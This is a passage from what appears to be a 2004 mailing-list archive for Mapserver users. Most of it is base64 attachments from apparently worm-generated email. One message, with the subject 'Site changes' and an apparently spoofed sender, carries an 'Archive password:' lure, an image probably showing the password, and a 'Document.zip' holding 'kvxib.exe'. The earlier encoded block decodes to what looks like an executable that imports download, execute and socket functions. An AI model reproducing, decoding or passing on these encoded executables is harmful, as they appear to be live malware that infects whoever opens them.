AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAADLWaRpFHhrwLMSTA cb/BVZ0qm8MMJZodW0F5Yah8CaETHDC7dSUxDhDBuUoJYqmlHZEzHrZBhx+1lwplEg+DLIGv LD+wo7xujmQ5ChwUY5GhEWWlY19Smn02J0UmlGM9smBkei04a1sQBGRFlXSeLcY3RJU/iCUW gmI/YjVauip1HT4uDjCbq4cTsGxBfh6MsbabACCiDq1rkxpbTZ8enIyoxSw7eDl3gcCefaF4 xQkSb3+wdVlSYLRBQK1WZDFAPG2DTDtwvow8BaVwFHpmQX4iPKdMboKhPzU3E5+GcF1+w1w5 u29NiSgzgz24rU9vMShodpYDjKWamoNwDW+hCUthQA5dG2iQJC5dTwOtt1+QgWTESB0cUBxt R7opnAiYmBO7YiusVjEYuYJ1h5p1NGW2O5tpimyTwzeSF40ehZNDnmp8VaQzChQ6EyWQc8Rg nYFFXCRGpZOPIA8DuU6XLL9Ah7cwLRIXE4Yx ----------slkfnyxzewjygpcpdmpm-- From steve.lime at dnr.state.mn.us Sun Jun 20 18:45:48 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Sun, 20 Jun 2004 19:45:48 -0600 Subject: [Mapserver-users] Site changes Message-ID: ----------ezqvbzvfswxhwqqtkwch Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
Archive password:

----------ezqvbzvfswxhwqqtkwch Content-Type: image/jpeg; name="incfxpjzmi.jpeg" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="incfxpjzmi.jpeg" Content-ID: /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRof Hh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwh MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAAR CAAQADoDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAA AgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkK FhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWG h4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl 5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREA AgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYk NOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOE hYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk 5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD3+ub8c+IZ/DXhv7baNbLdSXUFtE10CY1L yKpLAMpwFLHqOldJXK+LNYvdOvtPFgbljGxkuLcaZcTxTxsGUAyxRSbGVvmwME4AOAc0AUNb 8ZXOkQ2VimoaVNqM9nNfG+NvILURIRg7Ud2AO4AtuIUKzYIG2n+LPHMmhHRrGyS1uNU1G6to XG7fHCsr7d3UFs4fb67ScYU1wq+G7LT7G2ttOk1eVm0GbQ7ma50K/BVJHLmVAITkhmYBCQME fNxg2W0DT7PWdGk0vUPFEen2t0txPHNolyzJ5cHlRCLNoSQBxhmwASR8xzQB3WveJdY0bxPp Vt/Z0UmlX15FZK4O6V3dZGZxzhVTYMgglgxIxtwW6L4kvtZ8ba1py3umR2Om3AgFt5LG5mHl KWbd5mAA7Y+4eBjrzWDH4h1E+MJdSvNLuLuySQR2ROn6ijWsJwHYR/YyGkbnJL4xhQQMky6I txq3jHSbvVbi/lm037YtrMdIurYTibBBlLRJGmxF2gZO44Oc8UAekUUUUAf/2f9/rTUAADFG nHMAAHNO/397bwAAGGMAAAAA/3//f/9//3//f5xzAACUUv9//3+tNQAAKSUpJXtv/3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//39zTgAAGGP/f/9/ /3+UUgAAc04pJTFG3nv/f/9/1lopJa01AACcc/9//3//f/9/WmsAACkl/3//f3NOAAAYY/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/de AACUUv9//3//f3tvAAD3Xv9//3//f/9//3//f+89AAAAAFpr/3//fzFGKSX/fwAAAAD/f/9/ 914AAJRS/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9/nHMAADFG/3//f/9//38xRq013nsAAK01/3//f/9/vXcpJQAA917/f/9/lFIAAJxz AABzTv9//3+ccwAAMUb/f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//fwAAAAAAAAAA/3//f/9/c04AACklWmv/f/9//3//f1prAAAxRv9/ /3//fzFGAACtNb13/3//f/9/AAAAAAAAAAD/f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//38= ----------ezqvbzvfswxhwqqtkwch Content-Type: application/octet-stream; name="Document.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Document.zip" 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 